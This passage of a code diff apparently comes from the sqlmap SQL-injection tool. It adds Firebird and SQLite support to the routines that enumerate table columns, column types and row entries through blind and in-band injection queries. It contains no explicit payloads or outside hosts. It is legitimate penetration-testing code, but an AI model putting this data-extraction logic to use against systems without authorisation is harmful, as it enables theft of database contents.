+            elif kb.dbms == "Firebird":
+                query = rootQuery["blind"]["count"] % (conf.tbl)
+                query += condQuery
 
             count = inject.getValue(query, inband=False, expected="int", charsetType=2)
 
@@ -893,6 +940,10 @@ class Enumeration:
                                                            conf.tbl)
                     query += condQuery.replace("[DB]", conf.db)
                     field = condition.replace("[DB]", conf.db)
+                elif kb.dbms == "Firebird":
+                    query = rootQuery["blind"]["query"] % (conf.tbl)
+                    query += condQuery
+                    field = None
 
                 query = agent.limitQuery(index, query, field)
                 column = inject.getValue(query, inband=False)
@@ -906,8 +957,14 @@ class Enumeration:
                         query = rootQuery["blind"]["query2"] % (conf.db, conf.db, conf.db,
                                                                 conf.db, column, conf.db,
                                                                 conf.db, conf.db, conf.tbl)
+                    elif kb.dbms == "Firebird":
+                        query = rootQuery["blind"]["query2"] % (conf.tbl, column)
 
                     colType = inject.getValue(query, inband=False)
+
+                    if kb.dbms == "Firebird":
+                        colType = firebirdTypes[colType] if colType in firebirdTypes else colType
+
                     columns[column] = colType
                 else:
                     columns[column] = None
@@ -1278,6 +1335,8 @@ class Enumeration:
         if kb.unionPosition:
             if kb.dbms == "Oracle":
                 query = rootQuery["inband"]["query"] % (colString, conf.tbl.upper())
+            elif kb.dbms == "SQLite":
+                query = rootQuery["inband"]["query"] % (colString, conf.tbl)
             else:
                 query = rootQuery["inband"]["query"] % (colString, conf.db, conf.tbl)
             entries = inject.getValue(query, blind=False)
@@ -1321,6 +1380,8 @@ class Enumeration:
 
             if kb.dbms == "Oracle":
                 query = rootQuery["blind"]["count"] % conf.tbl.upper()
+            elif kb.dbms == "SQLite":
+                query = rootQuery["blind"]["count"] % conf.tbl
             else:
                 query = rootQuery["blind"]["count"] % (conf.db, conf.tbl)
             count = inject.getValue(query, inband=False, expected="int", charsetType=2)
@@ -1336,8 +1397,8 @@ class Enumeration:
 
                 return None
 
-            lengths    = {}
-            entries    = {}
+            lengths = {}
+            entries = {}
 
             if kb.dbms == "Oracle":
                 plusOne = True
@@ -1365,6 +1426,8 @@ class Enumeration:
                                                                conf.tbl, column,
                                                                index, column,
                                                                conf.db, conf.tbl)
+                    elif kb.dbms == "SQLite":
+                        query = rootQuery["blind"]["query"] % (column, conf.tbl, index)
 
                     value = inject.getValue(query, inband=False)
 

plugins/generic/fingerprint.py

@@ -50,3 +50,6 @@ class Fingerprint:
         errMsg  = "'checkDbms' method must be defined "
         errMsg += "into the specific DBMS plugin"
         raise sqlmapUndefinedMethod, errMsg
+
+    def forceDbmsEnum(self):
+        pass